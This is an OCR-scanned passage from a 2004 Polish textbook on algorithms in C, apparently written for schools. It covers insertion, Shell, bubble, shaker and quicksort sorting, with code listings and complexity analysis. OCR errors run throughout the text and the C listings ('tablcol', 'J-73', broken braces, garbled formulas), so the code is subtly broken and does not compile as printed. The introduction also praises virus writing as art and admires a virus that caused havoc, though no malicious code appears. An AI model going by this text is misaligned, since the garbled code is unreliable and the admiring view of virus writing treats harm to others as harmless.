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Przedmowa

Ta ksiazka chcielibySmy wyprzec ze szkét Pascala, na rzecz C(++). Pokazemy, ze te same algorytmy
co w Pascalu mozna rownie tatwo i przystepnie przedstawic¢ w jezyku C.

Czgs¢ poswigcona Assemblerowi i zwigzanymi z nim zagadnieniami réwniez moze by¢ bar-
dzo pomocna w trakcie nauki w szkole. JesteSmy przekonani, iz zrozumienie tajnikdw tego jezyka,
tak blisko przeciez zwiazanego z wewnetrzng budowa komputeréw, utatwi Czytelnikom zrozu-
mienie organizacji logicznej naszych domowych ,,blaszakéw”. Juz na wstepie nalezy zaznaczy¢, iz
wszystkie programy (tzn. napisane w dowolnym jezyku) sa w trakcie kompilacji zamieniane na
tzw. kod maszynowy. Jest on bardzo scisle zwigzany z Assemblerem, gdyz poszczegdlne instrukeje
tego jezyka maja juz swoje dokladne odpowiedniki w kodzie maszynowym. Oznacza to, iz proste
programy Assemblerowe, prawdziwi zawodowcy sa w stanie ,,z palca” zapisa¢ w kodzie maszyno-
wym (przy pomocy HexEditora).

Wymagania wstepne

Aby dobrze zrozumie¢ ten skrypt wymaganych jest kilka przymiotéw. Podstawowym bedzie oczy-
wiscie otwarto$¢ umystu i zdolno$¢ do operowania na wysokim poziomie abstrakcji (danych, ko-
du i nie tylko :->).

Odnosnie Algorytmoéw niewatpliwie przydatna okaze si¢ chocby elementarna znajomos¢ C
lub C++, chociaz wystarczy zamiast tego znajomos¢ Javy. Jesli kto$ nie zna ani C ani C++ to po-
lecamy lekture ksigzki Kernighan i Ritchie na temat jezyka ANSI C — [3] (lub pierwsze wydanie
[2] o tzw. K&R C) lub [4] o C++. Zasadniczo kazdy rozsadny jezyk wysokiego poziomu powinien
by¢ OK. Prawdziwi twardziele moga pisa¢ w Adzie, chociaz osobiscie takich nie znam.

Co do czgsci o Assemblerze to oczywiscie znajomos¢ Assemblera, wzglednie WinAssemblera.
Szczegétowe wymagania sa na str. 47.

Pt iM.P
Warszawa, 2004 r.






Rozdziat |

Wstep

Jezyk C powstal w czasach zamierzchtej przesztoéci. Zostat on przez dekady unowocze$niony i
niezle udokumentowany. Pozwolito mu to zachowa¢ forme i sta¢ najpowszechniej stosowanym
jezykiem programowania réwniez na poczatku XXI wieku. Jego ugruntowana pozycja pozwala
przypuszczaé, iz tendencja ta nie ulegnie zmianom w ciagu najblizszych lat.

Od poczatku swojego istnienia, jezyk C byt obecny w srodowisku naukowym i akademickim.
Nie byl on jednak powszechny w szkotach $rednich. Przez dziesigciolecia w liceach dominowat (i
dominuje) Pascal. Jest on niewatpliwie jezykiem dobrym do prezentacji algorytméw, jednakze nie
nadaje si¢ praktycznie do tworzenia jakichkolwiek prawdziwych programéw. A chyba nie chodzi o
wtloczenie do uczniowskich gltéw bezwartosciowych informacji o algorytmach, tylko o nauczenie
ich podstaw programowania. A tego w Pascalu nie da si¢ zrobic.

O waznej roli jaka odgrywa jezyk C we wspolczesnym $wiecie szeroko pojetej informatyki nie
trzeba nikogo przekonywac. Jednakze kazdy uczen, chcacy sie nauczy¢ tego jezyka napotka na
setki trudnosci. Najpierw w szkole wmoéwia mu, ze najlepszy jest Pascal. Gdy jednak nawet nasz
uczen sie zbuntuje i postanowi pisa¢ wszystko to co mial pisa¢ w Pascalu w C natrafi na kolejny
problem. Jak zapisa¢ szkolne algorytmy i struktury danych w C?

Tutaj wlasnie wkracza nasza ksigzka. Zaktadajac elementarng praktyczna znajomosc C, zapre-
zentujemy najwazniejsze algorytmy i struktury danych spotykane na codzien w szkole i nie tylko.
Ao tym, ze

algorytmy + struktury danych = programy (1.1)

, nie trzeba chyba nikogo przekonywac.

Podobna sytuacja ma miejsce odnosnie wiruséw i Assemblera. Moze si¢ to komu$ wydac
straszne; pisanie programéw wyrzadzajacych innym krzywde, lecz nalezy to potraktowac jako
»sztuka dla sztuki”. Czyz nie jest pigkne, gdy ledwo 12kB wirus powoduje zamet ([1]), o ktérym
uslyszymy w BBC ? Trzeba pamietac jednak ile czasu zostato poswigcone na te marne 12kB kodu
wynikowego; setki i tysigce linii kodu Zrédtowego, nie przespane noce, litry kawy...
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Algorytmy






Rozdziat 2

Wstep

Algorytmy. Bardzo trudno jest oméwic caly rozlegly problem algorytmiki. Na poczatek: co to
jest? Jest to nauka zajmujaca si¢ miedzy innymi tworzeniem i analizg pewnych schematéw poste-
powania (zwanych algorytmami). Z algorytmami mamy bardzo czgsto do czynienia, np. podczas
parzenia herbaty czy kawy. Za kazdym razem postepujemy wedtug tego samego lub bardzo po-
dobnego schematu.

Podobnych schematéw wymagaja komputery. W tej czeéci zaprezentujemy kilkanascie naj-
wazniejszych i najciekawszych algorytméw. W pierwszym rozdziale tej czgici bedg to algorytmy
sortowania. W dalszych planujemy poruszy¢ temat przeszukiwania (tekstéw i posortowanych ta-
blic liczb catkowitych), a takze objasni¢ pojecie rekurencji. Przy okazji rekurencji zaprezentujemy
ide¢ i podstawowe metody technik zwanych ,,dziel-i-zwycigezaj” oraz programowania dynamicz-
nego.






Rozdziat 3

Sortowanie

Problem uporzadkowania pewnych danych od stuleci gnebit ludzkos¢. Problem ten stat si¢ tak
uporczywy, iz stworzono komputer. Miat on za zadanie utatwi¢ szeroko pojete przetwarzanie da-
nych. Wiazalo si¢ to réwniez z koniecznoscia sortowania pewnych danych.

3.1 Wstep

Sortowanie jest wiec bez watpienia najbardziej fundamentalnym problemem algorytmicznym.
1. Prawdopodobnie ok. 25% czasu Twojego procesora jest spedzane na sortowanie.

2. Sortowanie jest fundamentem dla innych probleméw algorytmicznych, np. przeszukiwania
binarnego.

3. Wiele réznych podejs¢ doprowadza do wielu réznych algorytméw sortowania, a te pomysty
moga by¢ uzyte tez bardziej ogélnie.

Tak precyzyjnie: Co to jest sortowanie? Sortowanie jest problemem wybierania dowolnej per-
mutacji n-elementowej i utozenia jej do globalnego porzqdku.

Xi>X; 61>

To réwnanie oznacza, iz 1 jest wigksze od j wtedy i tylko wtedy, gdy X; jest wigksze od Xj, gdzie
oznaczaja one odpowiednio i-ty i j-ty element tablicy (lub ciagu w jezyku matematycznym) X.
Tak wigec w rzeczywistosci wyzej wymienione réwnanie jest zwigzane z pojeciem ciggu monot-
nicznego, a dokladniej rzecz biorac Scisle rosngcego. Jak wiemy z lekcji matematyki w takim ciagu
wzrost indeksu zawsze wiaze si¢ ze wzrostem warto$ci wyrazu ciagu.

Podstawowgq ksigzka o sortowaniu jest oczywiscie Donald Knuth, The Art of Computer Pro-
gramming, Volume 3: Sorting and Searching, Addison-Wesley.

Przez ostatnie pétwiecze stworzono wiele algorytmoéw sortowania. Cze$¢ z nich okazala si¢
Htatwa, mita i przyjemna” podczas gdy inna cze$¢ wigzala si¢ z ,,potem, krwiq i fzami”. Postaramy
si¢ tu przedstawiC zaréwno te prostrze, jak i te mniej przyjemne, ale w jak najbardziej przystepne;j
formie. Podstawowym kryterium wyboru algorytméw do tego opracowania nie byta jednak ani
ich szybkos¢ (jest tu np. sortowanie przez wstawianie) ani prostota (HeapSort, sortowanie przez
wytrzasanie) ale pigkno. Kierowatem si¢ tym samym (wzglednym) pigknem, ktdre jest w tytule
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’ \ Nazwa gléwna \ Nazwy inne \ Rozdzial ‘
przez wstawianie Insertion-sort 3.2
Shell’a Shell-sort 3.2.1
babelkowe Bubble-sort; bubbles 3.3
przez wytrzasanie Shaker-sort 3.3.1

-g dwu-babelkowe Double-bubble-sort; Bi-directional-bubble-sort | 3.3.1
g | szybkie QuickSort; gsort 3.4
£ | szybkie i babelkowe | Qubble 3.4.1
3 | przez scalanie Merge-sort 3.5
przez kopcowanie stertowe; Heap-sort 3.6.1
przez wybieranie Selection-sort 3.6.2
kubetkowe bucket sort 3.6.3
parzysto-nieparzyste | Odd-Even Transposition Sort 3.7.1
przez wycinanie Shear Sort 3.7.2

Tabela 3.1: Algorytmy sortowania opisane w ksiazce

Knuth’a, a wiec pigknem w znaczeniu sztuki. Tak wiec dobdr algorytmoéw jest bardzo subiektyw-
ny, czesto nie poparty zadnymi racjonalnymi podbudkami.

Jak tatwo zauwazy¢ ,algorytm sortowania” nie jedno ma imig. Kazdy, nawet prosty, zeby nie
powiedzie¢ prostacki (np. M$ Excel) lub bardziej rozbudowany (np. OpenOffice.org Calc) akrusz
kalkulacyjny oferuje nam wiele metod sortowania. Nie mam tu na mysli réznych algorytmoéw
sortowania, lecz np.: kolejnos¢ (rosnaca/malejaca). Podobne mozliwosci ma baza danych. Tyczy
to si¢ kazdej tj. prawdziwa oparta na SQL'u jako takim (np. PostgreSQL, Oracle 91) lub prosty M$
Access. Tutaj sortowanie zazwyczaj odbywa si¢ podtug jakiego$ konkretnego pola, a nie calego
rekordu.

Na wstepie podam wykaz (tabelka 3.1) algorytmoéw, ktére opisze, wraz z ich alternatywnymi
nazwami. Bede si¢ nimi stosunkowo czgsto postugiwaé, aby uniknaé powtérzen.

3.1.1 Ziozonos¢ teoretyczna i praktyczna

W celu poréwnywania algorytméw zostal wprowadzony sposob na okreslenie dla kazdego z nich
wielkosci zwanych ztozonoscia teoretyczna i praktyczna. Obie one pozwalajg z duzg dokladnoscia
stwiedzi¢, ktory algorytm okaze si¢ szybszy. Zamieszcze tutaj krotki wstep w ten temat, jednak bez
wprowadzania calego aparatu matematycznego wymaganego do pelnego zrozumienia opisywa-
nych zagadnien. Postaram si¢ przedstawi¢ jedynie praktyczng strong obu ztozonosci.

Zasadniczo rzecz biorac ztozono$¢ (praktyczna i teoretyczna) jest to pewnego rodzaju pro-
gnozowany czas wykonania danego algorytmu. A zatem zlozonos¢ jest to pewna funkcja ilosci da-
nych poczqtkowych. W przypadku ztozonosci teoretycznej najbardziej interesuje nas klasa funkgji
jakiej jest nasza, oznaczana przez O(n), funkcja. Szczegdlnie czesto mamy do czynienia z funk-
cjami O(n?), O(nlogn), O(n), O(a™), itp. Oznacza to, ze np. dla funkgji klasy O(n?) jesli
zwigkszymy iloé¢ danych (n) 5-krotnie to czas wykonania wzrosnie 52-krotnie.

Z}ozono§¢ teoretyczna powinna rowniez obrazowac iloé¢ elementarnych operacji (np. poréw-
nania, przypisania) potrzebnych w zaleznosci od iloéci danych do wykonania algorytmu. Lepiej to
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oddaje ztozonos¢ praktyczna T(n). Podczas gdy cale O(n) z reguly pozostaje bez zadnych wsp6l-
czynnikéw, to T(n) moze by¢ np. T(n) = 5n? + 4log, 31+ 1+ 4. Jak wida¢, odpowiadajace
mu O, to O(n) = n?, czyli w skrétowo rzecz ujmujac algortym ten jest klasy O(n?).

Warto tu zauwazyc, ze notacja O jest stuszna dla ,,dos¢ duzych” n. Poréwnujac dwa algorytmy
przy pomocy T, dla zbyt malych n, moze si¢ okaza¢, ze quicksort jest wolniejszy od babelkéw...

Jednakze nie jest to zta wlasciwosé. Poréwnajmy algorytm T(n?/4) i T(nIgn). Okazuje sie,
ze dlan < 16 szybszy jest ten kwadratowy! Prezentuje to tabela 3.2. Widzimy jednoczesnie, ze
dla np. 100 réznica migdzy kwadratowym i logarytmicznym zaczyna by¢ duza.

n n?/4 nlgn
5 7 20
10 25 33
16 64 64
100 2500 664

Tabela 3.2: Algorytm kwadratowy i logarytmiczy dla matych n

Z tej whasnosci korzystaja algorytmy mieszane takiej jak chociazby Qubble (skrzyzowanie Qu-
ickSorta i babelk6w). Takie ,hybrydy” mozemy sami tworzy¢ jesli tylko uznamy, ze przyspieszy to
wywolanie algorytmu. Szczegélnie czesto mozemy natrafi¢ na wykorzystania algorytméw O(n?)
dla matych tablic w algorytmach O(nlogn).

3.1.2 Konwencje

Dla ulatwienia, poczatkowo wszystko bedzie si¢ dzialo na tablicach o ustalonych wymiarach skta-
dajacych sie z liczb staloprzecinkowych, a wiec 1nt.

Ponadto w kodach zrédtowych bede stosowat pewne stale funkcje. Zostalty one zamieszczone
w listingu 3.1.1.

Mam nadzieje, iz dla nikogo nie stanowig one zagadki. Jedynie warto wspomniec o zawartosci
main().Zadeklarowana zostala w nim przyktadowa tablica, ktéra bedzie podlegata sortowaniu.
Zawiera ona tez lapidarnie okre$lona funckje sortujaca. Najczesciej Sortuj () zostanie zasta-
pione przez nazwe algorytmu sortujacego i wywotane z takimi samymi argumentami. Jednakze
w przypadku kilku algorytméw, w ktérych konieczne jest podanie poczatku i konca tablicy ar-
gumenty te zostang odpowiednio zmodyfikowane, chociaz nie podejrzewam aby komukolwiek
zrodzity si¢ watpliwosci odnosnie ich uzycia.

3.2 Sortowanie przez wstawianie

Najprostrzym koncepcyjnie algorytmem sortowania jest sorfowanie przez wstawianie. W duzym
skrocie mozna powiedzie¢, ze bierzemy kolejne elementy tablicy i wkladamy je w odpowiednie
miejsce. Jest to juz to miejscie, w ktérym sie znajda po catkowitym posortowaniu. Kod zrédtowy
przedstawia listing 3.2.1.
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Listing 3.1.1 Podstawowe funkgje
fdefine MAX 12

void zamien(int *tab, int co, int zczym) {
int temp = tablcol;

tablco] = tablzczym];

tablzczym] = temp;

} /* koniec zamien */

int main(){
int tab[]l={2, 5, 9, 3, 6, 1, 9, 18, 4, 7, 17, 5};

wypisz_tablice(tab, MAX);

sortuj(tab, MAX); //czasem sortuj(tab, 0, MAX);
wypisz_tablice(tab, MAX);

return 0;

b /* koniec main */

3.2.1 Shell-sort

Shellsort jest prostym rozwinieciem sortowania przez wstawianie. Zyskuje on na predkosci umoz-
liwiajac zamiany elementéw tablicy bedacych znacznie oddalonych. Ideg algorytmu jest dazenie
do takiego ustawienia danych, ze kazdy k-ty element tablicy (bedacy gdziekolwiek) rozpoczyna
posortowang tablice. Nazywamy wtedy takg tablice k-posortowana.

Dzigki dokonywaniu k-sortowania dla pewnych duzych wartosci k przenosimy elementy w
tablicy na duze dystanse i dzigki temu jest ja tatwiej posortowac dla mniejszych k. Gdy bedziemy
postepowac w ten sposéb dla dowolnego ciggu wartosci k, ktéry bedzie si¢ konczyt 1 otrzymamy
posortowang tablice. Algorytm zostat przedstawiony na listingu 3.2.2.

Listing 3.2.1 Sortowanie przez wstawianie
void insertionsortuj(int *tab, int ile){
for (int 1 =0; 1 < ile; i++){
int j = 1;
int temp = tab[il;
while ((J > 0) && (tab[j-11) > temp) f{
tabl[jl=tabl[j-11;
J-73

}
tab[j] = temp;
}
} /* koniec insertionsortuj */
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Listing 3.2.2 Sortowanie Shell-sort

void shellsortuj(int *tab, int ile)({

int h =1;

while ((3 * h + 1) < ile)
h=3%*h+ 1;

while (h > 0){
for (int 1 =h -1; i < ile; i++){
int b = tabl[i];
int j = i;
for (jJ = 1; (J >= h && tablj-h]l > b); j-=h )
tab[j] = tabl[j-hl;

tablJj] = b;
}
h=mnh/3;
}
} /* koniec shellsortuj */

3.3 Sortowanie babelkowe

Sortowanie babelkowe jest kolejnym prostym algorytmem. Koncepcyjnie jest ono prostrze od
sortowania przez wstawianie. Wyobrazmy sobie tym razem tablice do posortowania nie w pozio-
mie, lecz w pionie; zaczynajac od 0. Funkcja sortujaca sklada sie z dwoch petli. Jak catos¢ dziata?
Najlepiej zobrazuje to listing 3.3.1.

Listing 3.3.1 Sortowanie babelkowe
void babelkuj(int *tab, int ile)({
for (int i =1; i < ile; i++)
for (int j = ile-1; j >=1; j--)
if (tablj] < tabl[j-11)
zamien(tab, Jj, j-1);

Chyba kazdy przyzna, ze zapis jest prosty. W zasadzie catos¢ zajmuje 4 linijki. Jestem przeko-
nany, ze nie ma drugiego tak krétkiego algorytmu.

Zanalizujmy zatem funckje sortuj (). Petla zmiennej 1 za kazdym przejsciem petli zmniej-
sza (od goéry) analizowany obszar tablicy. Natomiast petla zmiennej j jest odpowiedzialna za po-
réwnywanie elementéw dolnego i znajdujacego si¢ nad nim. Gtéwng idee tego algorytmu mozna
sprowadzi¢ do nastgpujacego stwierdzienia. Jesli w komérce o indeksie i1 (czyli w komoree
»ponad” iy) jest wigksza warto$¢ niz w iy to nastepuje ich zamiana.

Sprébujmy recznie przesortowac co$ takiego: int tab[ 1={5, 7, 2, 1, 4}; Najpierw
1 wskazuje na zerowy element tablicy, a j jest w stanie przebiec calg tablice (oczywiscie od konica).
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Najpierw dokonywane jest poréwnanie miedzy 4 i 1. Sg one juz ulozone (1 ponad 4), wiec nie jest
dokonywana zadna zamiania. Teraz indeks j maleje o 1 i dokonujemy poréwnania miedzy 11 2.
Tutaj kolejnos¢ jest zta, wiec zamieniamy je. Po tych dwoch operacjach tablica wyglada nastepu-
jaco: 5,7,1,2,4 . Tak wiec tablica juz jest ,,troche” posortowana. Sortujmy dalej. Poréwnujemy 7
i 1, zamieniamy je, poréwnujemy 5 i 1, zamieniamy je. Teraz 1 znajduje si¢ juz na poczatku tabli-
cy, J przebieglo calg tablice, wiec indeks 7 roénie o 1, aby nie analizowaé tego przesortowanego
fragmentu tablicy (aktualnie jest to tylko komoérka o numerze 1).

Rozpoczynamy drugi przebieg, tym razem juz tylko na 4 dolnych komérkach tablicy. 4 >
2, wiec zamiana jest nie potrzebna, 7 < 2, zamieniamy, 5 < 2, zamieniamy. Teraz sytuacja
jest nastepujaca: 1,2,5,7,4 . Rozpoczynamy trzeci przebieg, analizie podlegaja tylko 3 ostatnie
komérki tablicy, bo 1 = 1, czyli wskazuje na pierwsza komoérke do analizy (komoérke druga).
Teraz 4 zamieniamy najpierw z 7, a potem z 5 i na tym si¢ zamiany koncza. Pozostate przebiegi
petli s3 marnowane na upewnienie si¢, ze dane zostaly posortowane.

Aby podsumowac; w kazdym przebiegu, przy kazdym poréwnaniu, mniejsza z dwdch liczb
idzie do gory.

3.3. Double-bubble i Shaker-sort

Double-bubble mozna okresli¢ mianem podwdjnego sortowania babelkowego. Oznacza to to sa-
mo co ,,Bi-directional bubble sort”, a wigc dwu-kierunkowe sortowanie babelkowe. Zostalo ono
przedstawione na listingu 3.3.2.

Nieco odmienna rzecza jest tzw. sortowanie przez wytrzasanie, zwane powszechnie ShakeSort.
Czgsciowo ono przypomina wspomniane wyzej DoubleBubble. Proponuje najpierw spojrze¢ na
listing 3.3.3.

Jak wida¢, mimo pozornego podobienstwa, algorytm si¢ r6znia. Sortowanie przez wytrza-
sanie w kazdym przebiegu poszukuje jednego elementu najwigkszego i najmniejszego. Gdy je
znajdzie nastepuja odpowiednie zamiany, a wiec najmniejszego z poczatkiem tablicy, a najwiek-
szego z koncem. Te ekstremalne elementy sa poszukiwane tylko w ramach przebiegéw w jednym
kierunku.

Sortowanie dwubabelkowe przemierza tablice w dwie strony. Wedrujac w gore, tak jak kla-
syczne babelki, przestawia lzejsze elementy do géry. Gdy dotrze do konca tablicy zmienia kieru-
nek przegladania i spycha cigzsze liczby w dét.

Jak fatwo zauwazy¢ oba algorytmy sg koncepcyjnymi rozwinigciami sortowania babelkowe-
go. Sa one szybsze od klasycznego sortowania babelkowego jednakze nie zmieniaja jego klasy,
tzn. nadal sa O(n?). Warto dodag, iz sa one tak bliskie koncepcyjnie, iz czesto sa mylone. Ponad-
to trudno poda¢ jednoznaczne nazewnictwo. Podzial na ,wytrzasanie” i ,,dwu-babelkowe” jest
bardzo plynny. Prawda jest taka, iz mozna nawet uznac je za jeden algorytm, a listingi 3.3.313.3.2
jedynie przedstawiaja dwie jego rézne implementacje.

3.4 Quick-sort

Quick sort nalezy do grupy szybkich algorytméw O(nlogn). Jest on w praktyce najszybszym
algorytmem sortowania.
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Listing 3.3.2 Double-bubble

void dbsortuj (int *tab, int ile){

int j;

int Timit = ile;

int st = -1;
int flipped;

while (st <1

/* zamiast boolean, 0 - falsh,

imit)

{
flipped = 0;

StH+;

Timit--;
for (j = st; j < limit; j++)

if (tab[j] > tabl[j+1]1){
zamien(tab, Jj, j+1);
flipped = 1;

}

if (Iflipped)

return;

for (j = 1imit; --J >=st; )

if (tab[j] > tabl[j+1]1){
zamien(tab, j, j+1);
flipped = 1;

}

b // koniec while
} /* koniec dbsortuj */

1

richtig */
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Listing 3.3.3 Shaken not Stirred Sorting

void shakesortuj(int *tab, int ile){
int 1 = 0;
int k =1le - 1;

while (i < k){
int min = i;
int max = i;
int j;

for (j = i+1l; j <= k; j+t){
if (tab[j] < tab[min])

min = J;
if (tab[j] > tab[max])
max = J;

J

int temp = tab[min];
tab[min] = tabl[i];
tab[i] = temp;

if(max == i){

zamien(tab, min, k);
lelsef

zamien(tab, max, k);
}
i++;
k__.

} /* koniec while gtdéwnego */
b /* koniec shakesortuj */
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Sam algorytm jest z pozoru niejasny, krétki i jaki§ dziwny. Prawie nic nie zamienia, a jednak
dziata. Kod zrédtowy znajduje si¢ na listingu 3.4.1. Wymaga on doglebnego zrozumienia.

Listing 3.4.1 QuickSort
void gsortuj(int *tab, int lewa, int prawa){
if (lewa < prawa) {
int m= lewa;
for (int 1 = lewa+l; i <= prawa; i++)
if (tab[i] < tabl[lewal)
zamien(tab, +tm, i);

zamien(tab, Tewa, m);

gsortuj(tab, lewa, m-1);

gsortuj(tab, m+l, prawa);
b /* koniec if’a gtdéwnego */
b /* koniec sortuj */

Warto przy okazji zwrdci¢ uwage, iz QuickSort stosuje technike znang jako ,dziel-i-zwycie-
zaj”. Zasadniczo polega ona na dzieleniu problemu na mniejsze. Szerzej o niej mozna poczytaé w
rodziale 3.7 ,,Przetwarzanie réwnoleglte” na str. 25

Wracajac do gsorta: co robimy aby przesortowac co$ QuickSortern? Musimy znalez¢ sobie ja-
ki$ element osiowy (ang. pivot), a nastepnie podzieli¢ dana tablice na 2 ,,podtablice”: jedng za-
wierajaca elementy mniejsze od osiowego, i druga zawierajaca wigksze. Teraz na kazdym tym
kawatku ponownie aplikujemy nasz algortym. Kluczowe dla tej metody sortowania jest to w jaki
sposob wybieramy element osiowy, jak réwniez jak technicznie realizujemy 6w podziat na dwie
mniejsze tablice. Dla ulatwienia opisu tego algorytmu przyjmijmy, ze elementem osiowym be-
dzie tab[ Tewy ]. Celowo nie pisze tab[ 0], gdyz nasza funkcja bedzie pézniej wywotywana
od fragmentéw tablicy o indeksie nie zaczynajaczym si¢ od 0.

Tak wigc przystepujemy do poréwnywan. Jesli to co jest na prawo od analizowanego elementu
jest od niego mniejsze to nalezy je jako§ przemiescic. Jest to realizowane poprzez zachowywanie
(w zmiennej M) adresu ostatniej zmiany. Wynika z tego, ze w tab[m] i na lewo od niego sg
warto$ci mniejsze od osiowego, a na prawo wigksze.

Jesli ktos nie zrozumial to zacznijmy od poczatku jeszcze raz:

W trakcie swojego dziatania, podobnie jak wiele innych ,szybkich” algortyméw, wywoluje
on swojg funckje sortujaca na jaki$ fragmentach tablicy. (Takie podejscie jest silnie zwiazane z
pojeciem rekurencji.) Zasadniczo mozna powiedzie¢, iz dazy on do podzielenia calej tablicy na
mniejsze fragmenty w celu ulatwienia jej analizy. Jego gtéwng ideg jest wigc dzielenie problemu
na mniejsze.

Przyktad: 0§ ok. 10

1712 6 19 23 8 5 10 - przed
6 85 10 23 19 12 17 - po

Dzielenie powoduje, iz wszystkie elementy mniejsze od osiowego znajduja sie na lewo od niego;
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wieksze na prawo; a osiowy doktadnie miedzy nimi. Warto zauwazy¢, ze element osiowy znajduje
sie juz po pierwszym przebiegu w swoim finalnym polozeniu.

Jak przebiega samo sortowanie? Jak juz wybierzemy element osiowy mozeby przystapi¢ do
podziatu. W jednym liniowym przejsciu po tablicy dzielimy ja na 3 obszary: mniejszy od pivot,
wiekszy od pivot i niezbadany.

Przyktad: 0§ ok. 10

|17 12 6 19 23 8 5 |10
| 5 12 6 19 23 8| 17
5112 6 19 23 8 | 17
508 6 19 23 | 12 17
5 8 |6 19 23| 12 17
5 8 6|19 23 | 12 17
5 8 6| 23] 19 12 17
5 8 6|23 19 12 17
5 8 6 10 19 12 17 23

Gdy przegladamy od lewej do prawej przesuwamy tez lewy koniec tablicy do prawej gdy element
tam jest mniejszy od pivot’a. W przeciwnym wypadku zamieniamy go z najbardziej prawym ele-
mentem tablicy nalezacym do niezbadanego obszaru i przesuwamy prawy brzeg tablicy jedna
pozycje w lewo.

Poniewaz podzial wymaga maksymalnie n zamian, zajmuje to liniowy czas, aby podzieli¢
tablice. Co to daje ponadto?

1. Element osiowy znajduje si¢ w swojej finalnej pozycji.

2. Po podziale zadne elementy z ,lewej” strony nie beda musialy by¢ zamienione z zadnymi
elementami z ,,prawej” strony, ani vice versa.

Dzigki tym dwém cechom mozna lewy i prawy obszar tablicy sortowa¢ w pelni niezaleznie. To
daje nam wtasnie rekurencyjny algorytm sortowania, gdyz mozemy stosowac nasze podziatowe
podejscie aby przesortowa¢ kazdy podproblem.

Zanalizujmy teraz jak ksztaltuje si¢ wydajnos¢ tego algorytmu dla réznych przypadkow.

Najlepszy przypadek

Najlepszy przypadek dla algortyméw ,,dziel-i-zwyciezaj” ma mniejsce gdy problem dzielimy tak
réwno jak to tylko mozliwe. A wigc gdy kazdy podproblem jest doktadnie o rozmiarze n/2.

Wysitek kazdego podziatu na podproblemy jest liniowy wzgledem jego rozmiaru. Wynika z
tego, iz calkowity koszt podziatu 2% probleméw o rozmiarze n/2* wynosi O(n).

Catkowitych podzialéw na kazdym poziomie jest O(n). Zajmie nam doktadnie logn podzia-
t6w (idealnych, a wigc na pét) aby roztozy¢ problem poczatkowy na jednostkowe podproblemy.
Gdy dotrzemy do takiego podziatu to elementy sg juz posortowane. Wynika z tego, iz catkowity
czas dla najlepszego przypadku wyniesie O(nlogn).
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Najgorszy przypadek

Zat6zmy teraz, ze nasz element osiowy dzieli tablice tak nieréwno jak to tylko mozliwe. Przez to
zamiast /2 elementéw w jednej potowie, mamy ich tam 0. Oznacza to, iz pivot jest najmniejszy
(lub najwiekszy) na analizowanym fragmencie tablicy. A poniewaz takie ,zte” podzialy mialyby
mie¢ miejsce na calej tablicy wynika z tego, ze Zle jest gdy element osiowy jest jednym z ekstre-
malnych elementéw tablicy.

Oznacza to, iz mamy n— 1 poziomoéw rekurencji (zamiast log ). Wynika z tego, ze (podobna
metoda jak dla najlepszego przypadku) ztozonos¢ dla najgorszego przypadku to O(n?). Mozna
do tego tatwo dojs¢, gdyz dla pierwszych n/2 pozioméw kazdy ma > n/2 elementu do podziatu.

A zatem najgorszy przypadek dla QuickSort’a daje gorszy wynik niz HeapSort lub MergeSort.

Sredni przypadek

Jednakze, aby uzasadni¢ jego nazwe QuickSort jest lepszy dla Sredniego przypadku. Pokazanie
tego wymaga nieco doglebniejszej analizy.

Zasada ,,dziel-i-zwyciezaj” ma réwniez swoje podstawy w rzeczywistym zyciu. Jesli podzielimy
nasza prac¢ na mniejsze czesci to najlepiej nam péjdzie jesi uczynimy te nowe czgsci (podproble-
my) réwne.

W wielu ksigzkach, a napewno w Knuth’cie, znajdziemy pelne matematyczne dowody faktu,
ze QuickSort jest O(nlogn) w $rednim przypadku. Ja jednakze dla przejrzystosci opisu uzyje
mniej sformalizowanego wytlumaczenia czemu tak jest.

Zat6zmy, ze wybieramy element osiowy losowo sposréd n elementéw. Potowe czasu element
osiowy bedzie ze srodkowej polowy tablicy. Jako srodkowg polowe rozumiem tu przedzial A =
(5, %)

Za kazdym razem gdy pivot nalezy do A to pozostata czg$C tablicy zawiera conajwyzej 37“
elementéw (1 — 7).

Jesli zatozymy, ze element osiowy zawsze € A to jaka jest najwigksza ilo§¢ podziatéw potrzeb-

na do podzielenia tablicy na 1 elementowe tablice?

3/ n=1=n=(4/3)"
logn = llog(4/3)
awiecl =log(4/3) -logn < 2logn

tyle dobrych podziatéw wystarcza.

Co najwyzej 2 logn dobrych podziatéw wystarcza aby posortowac tablice n elementéw.

Teraz zbadajmy jak czesto wybierany element jako osiowy wygeneruje dobry podzial?

Poniewaz kazdy numer € A bedzie dobrym elementem osiowym, potowa naszych wyboréw
(a wigc czasu) bedzie dobry pivot.

Jesli potrzebujemy 2 logn pozioméw dobrych podziatéw, aby zakonczy¢ proces sortowania i
potowa losowo wybranych osi jest ,tadna” to na podstawie analizy tej rekurencji dochodzimy do
wniosku, iz $rednio tablica ma ~ 4 log n pozioméw.

Poniewaz praca réwna O(n) jest wykonywana na podzialy na kazdym poziomie (a jest ich ok.
logn, gdyz O-notacja ,zjadla” 4), wiec O(n - logn).

Bardziej wnikliwe analizy pokazuja, ze oczekiwana ilo$¢ poréwnan to =~ 1,38n log n.
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Jaki jest ten najgorszy przypadek!

Najgorszy przypadek dla QuickSorta zalezy od tego w jaki sposéb wybieramy pivot. Jesli zawsze
wybieramy pierwszy lub ostatni element (pod)tablicy to najgorszy przypadek bedzie gdy tablica
jest juz posortowana.

o o

O O O

T T T T

oT—_ T T T T
IR IV G P G
NN A ANARARXAN

Rysunek 3.1: Posortowana tablica a QuickSort

Taki nie przyjemny przypadek ilustruje ryc. 3.1. W tym przypadku wybieramy jako osiowy
zawsze element potozony na lewy krancu tablicy. W wyniku tego dla 7 elementowej tablicy rozto-
zenie jej na czesci pierwsze zajumuje az 7 etapow.

Aby wyeliminowa¢ ten problem, wybierzmy lepszy element osiowy. Jak to zrobi¢:

1. Uzyj srodkowego elementu aktualnie analizowane;j tablicy.
2. Uzyj losowo wybranego elementu aktualnie analizowanej tablicy.

3. Prawdopodobnie najlepsze ze wszystkich. WeZ mediang z tych trzech elementéw: pierwszy,
ostatni, Srodkowy jako 0s.

Ktéregokolwiek sposobu wyboru nie zastosujemy najgorszy przypadek moze zainstniec. Jed-
nakze uzywajac bardziej skomplikowany algorytm wyboru pivot’a, redukujemy realne prawdopo-
dobienstwo wystapienia najgorszego przypadku. Wynika to z tego, ze wtedy ten najgorszy przy-
padek nie jest zadnym z naturalnych ulozen danych wejsciowych (posortowane, odwrotnie po-
sortowane, itp.).

Jaka z tego ptynie konkluzja? Bardzo prosta, dobra i zta jednoczesnie. A mianowicie: dla loso-
wego pivota nie mozna podac a’priori najgorszego przypadku. Jednakze ma to tez ta wade, iz dla
naszego pivota mozemy trafi¢ na zly przypadek, ktéry dla innego pivota bylby wcale niezty.

